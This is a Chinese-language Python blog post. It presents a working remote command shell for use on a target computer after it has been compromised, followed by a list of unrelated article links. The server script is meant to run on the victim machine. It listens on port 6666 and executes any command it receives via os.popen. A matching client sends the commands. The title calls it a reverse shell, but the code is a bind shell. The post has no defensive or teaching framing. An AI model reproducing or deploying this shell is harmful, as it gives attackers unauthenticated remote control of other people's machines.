python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python的subprocess模块总结
Nov 07 Python
让 python 命令行也可以自动补全
Nov 30 Python
python fabric实现远程部署
Jan 05 Python
python距离测量的方法
Mar 06 Python
python中使用PIL制作并验证图片验证码
Mar 15 Python
[原创]Python入门教程3. 列表基本操作【定义、运算、常用函数】
Oct 30 Python
python与字符编码问题
May 24 Python
Python画图高斯分布的示例
Jul 10 Python
Django如何使用redis作为缓存
May 21 Python
Python实现壁纸下载与轮换
Oct 19 Python
Python+OpenCV图像处理——图像二值化的实现
Oct 24 Python
Python合并pdf文件的工具
Jul 01 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
初识Laravel
2014/10/30 PHP
注意!PHP 7中不要做的10件事
2016/09/18 PHP
Alliance vs AM BO3 第一场2.13
2021/03/10 DOTA
script标签的 charset 属性使用说明
2010/12/04 Javascript
Javascript this 的一些学习总结
2012/08/02 Javascript
将字符串转换成gb2312或者utf-8编码的参数(js版)
2013/04/10 Javascript
eclipse如何忽略js文件报错(附图)
2013/10/30 Javascript
用jquery中插件dialog实现弹框效果实例代码
2013/11/15 Javascript
JS、DOM和JQuery之间的关系示例分析
2014/04/09 Javascript
js的image onload事件使用遇到的问题
2014/07/15 Javascript
jQuery实现瀑布流布局
2014/12/12 Javascript
jQuery插件实现文字无缝向上滚动效果代码
2016/02/25 Javascript
老生常谈JavaScript 函数表达式
2016/09/01 Javascript
基于angular中的重要指令详解($eval,$parse和$compile)
2016/10/21 Javascript
jQuery动态生成不规则表格(前后端)
2017/02/21 Javascript
vue货币过滤器的实现方法
2017/04/01 Javascript
JS实现队列的先进先出功能示例
2017/05/10 Javascript
详解VUE中v-bind的基本用法
2017/07/13 Javascript
mui框架 页面无法滚动的解决方法(推荐)
2018/01/25 Javascript
浅谈Webpack打包优化技巧
2018/06/12 Javascript
微信小程序云开发使用方法新手初体验
2019/05/16 Javascript
layui table数据修改的回显方法
2019/09/04 Javascript
只有 20 行的 JavaScript 模板引擎实例详解
2020/05/11 Javascript
如何在现代JavaScript中编写异步任务
2021/01/31 Javascript
python 默认参数问题的陷阱
2016/02/29 Python
python 添加用户设置密码并发邮件给root用户
2016/07/25 Python
Python实现更改图片尺寸大小的方法(基于Pillow包)
2016/09/19 Python
python中利用队列asyncio.Queue进行通讯详解
2017/09/10 Python
python opencv设置摄像头分辨率以及各个参数的方法
2018/04/02 Python
python实现写数字文件名的递增保存文件方法
2018/10/25 Python
使用tensorflow实现矩阵分解方式
2020/02/07 Python
完美解决ARIMA模型中plot_acf画不出图的问题
2020/06/04 Python
Python urllib3软件包的使用说明
2020/11/18 Python
文明单位申报材料
2014/12/23 职场文书
2015年推普周活动总结
2015/03/27 职场文书
2015年学校保卫部工作总结
2015/05/11 职场文书